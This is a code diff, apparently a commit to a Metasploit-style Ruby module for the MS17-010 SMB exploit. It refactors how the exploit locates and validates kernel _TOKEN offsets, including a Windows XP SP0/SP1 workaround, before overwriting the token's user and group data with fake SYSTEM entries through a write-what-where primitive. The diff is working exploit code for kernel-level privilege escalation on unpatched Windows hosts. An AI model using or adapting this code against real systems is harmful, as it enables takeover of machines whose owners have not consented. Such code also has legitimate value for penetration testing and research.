@@ -126,33 +126,10 @@ def modify_token()
126
126
print_status ( "TOKEN data = #{ bin_to_hex ( tokenData ) } " )
127
127
end
128
128
129
- userAndGroupCount = tokenData [ @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] ..-1 ] . unpack ( "V" ) [ 0 ] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
130
- userAndGroupsAddr = tokenData [ @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] ..-1 ] . unpack ( fmt ) [ 0 ] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
129
+ userAndGroupsAddr , userAndGroupCount = get_group_data_from_token ( tokenData )
131
130
132
- if @ctx [ 'os' ] == 'WINXP' and @ctx [ 'arch' ] == 'x86'
133
- if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
134
- print_error ( "Bad TOKEN offsets detected (group count = #{ userAndGroupCount } ), performing workaround..." )
135
- @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1' ]
136
- @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1' ]
131
+ vprint_status ( "Overwriting _TOKEN UserAndGroups (#{ userAndGroupsAddr . to_s ( 16 ) } )..." )
137
132
138
- userAndGroupCount = tokenData [ @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] ..-1 ] . unpack ( "V" ) [ 0 ]
139
- userAndGroupsAddr = tokenData [ @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] ..-1 ] . unpack ( fmt ) [ 0 ]
140
-
141
- if datastore [ 'DBGTRACE' ]
142
- print_status ( "New TOKEN offsets (group count = #{ userAndGroupCount } )" )
143
- end
144
-
145
- # hopefully its not bad anymore
146
- if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
147
- raise MS17_010_Error , "Bad TOKEN offsets after workround (group count = #{ userAndGroupCount } )... Abort > BSOD"
148
- end
149
- end
150
- end
151
-
152
- vprint_status ( "UserAndGroupCount: 0x#{ userAndGroupCount . to_s } " )
153
- vprint_status ( "UserAndGroupsAddr: 0x#{ userAndGroupsAddr . to_s ( 16 ) } " )
154
-
155
- vprint_status ( 'Overwriting token UserAndGroups...' )
156
133
# modify UserAndGroups info
157
134
fakeUserAndGroupCount , fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups ( userAndGroupCount , userAndGroupsAddr )
158
135
if fakeUserAndGroupCount != userAndGroupCount
@@ -188,6 +165,73 @@ def modify_token()
188
165
189
166
end
190
167
168
+ def validate_token_offset ( tokenData , userAndGroupCountOffset , userAndGroupsAddrOffset )
169
+ # struct _TOKEN:
170
+ # ...
171
+ # ULONG UserAndGroupCount; // Ro: 4-Bytes
172
+ # ULONG RestrictedSidCount; // Ro: 4-Bytes
173
+ # ...
174
+ # PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
175
+ # PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
176
+ # ...
177
+
178
+ userAndGroupCount , restrictedSidCount = tokenData [ userAndGroupCountOffset ..-1 ] . unpack ( 'VV' )
179
+ userAndGroupsAddr , restrictedSids = tokenData [ userAndGroupsAddrOffset ..-1 ] . unpack ( @ctx [ 'PTR_FMT' ] *2 )
180
+
181
+ if datastore [ 'DBGTRACE' ]
182
+ print_status ( "userAndGroupCount: 0x#{ userAndGroupCount . to_s ( 16 ) } " )
183
+ print_status ( "userAndGroupsAddr: 0x#{ userAndGroupsAddr . to_s ( 16 ) } " )
184
+ print_status ( "RestrictedSids: 0x#{ restrictedSids . to_s ( 16 ) } " )
185
+ print_status ( "RestrictedSidCount: 0x#{ restrictedSidCount . to_s ( 16 ) } " )
186
+ end
187
+
188
+ # RestrictedSidCount MUST be 0
189
+ # RestrictedSids MUST be NULL
190
+ #
191
+ # userandGroupCount must NOT be 0
192
+ # userandGroupsAddr must NOT be NULL
193
+ #
194
+ # Could also add a failure point here if userAndGroupCount >= x
195
+
196
+ success = true
197
+
198
+ if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
199
+ print_error ( 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!' )
200
+ success = false
201
+ end
202
+
203
+ return success , userAndGroupCount , userAndGroupsAddr
204
+ end
205
+
206
+ def get_group_data_from_token ( tokenData )
207
+
208
+ # try with default offsets
209
+ success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( tokenData , @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] , @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] )
210
+
211
+ # hack to fix XP SP0 and SP1
212
+ # I will avoid over-engineering a more elegant solution and leave this as a hack,
213
+ # since XP SP0 and SP1 is the only edge case in a LOT of testing!
214
+ if not success and @ctx [ 'os' ] == 'WINXP' and @ctx [ 'arch' ] == 'x86'
215
+ print_status ( 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround' )
216
+
217
+ # update with hack offsets
218
+ @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1' ]
219
+ @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] = @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1' ]
220
+
221
+ # try again with hack offsets
222
+ success , userAndGroupCount , userAndGroupsAddr = validate_token_offset ( tokenData , @ctx [ 'TOKEN_USER_GROUP_CNT_OFFSET' ] , @ctx [ 'TOKEN_USER_GROUP_ADDR_OFFSET' ] )
223
+ end
224
+
225
+ # still no good. Abort because something is wrong
226
+ if not success
227
+ raise MS17_010_Error , 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
228
+ end
229
+
230
+ # token parsed and validated
231
+ return userAndGroupsAddr , userAndGroupCount
232
+ end
233
+
234
+
191
235
def write_what_where ( what , where )
192
236
if where == 0
193
237
raise MS17_010_Error , 'Attempted to write to a NULL pointer!'
0 commit comments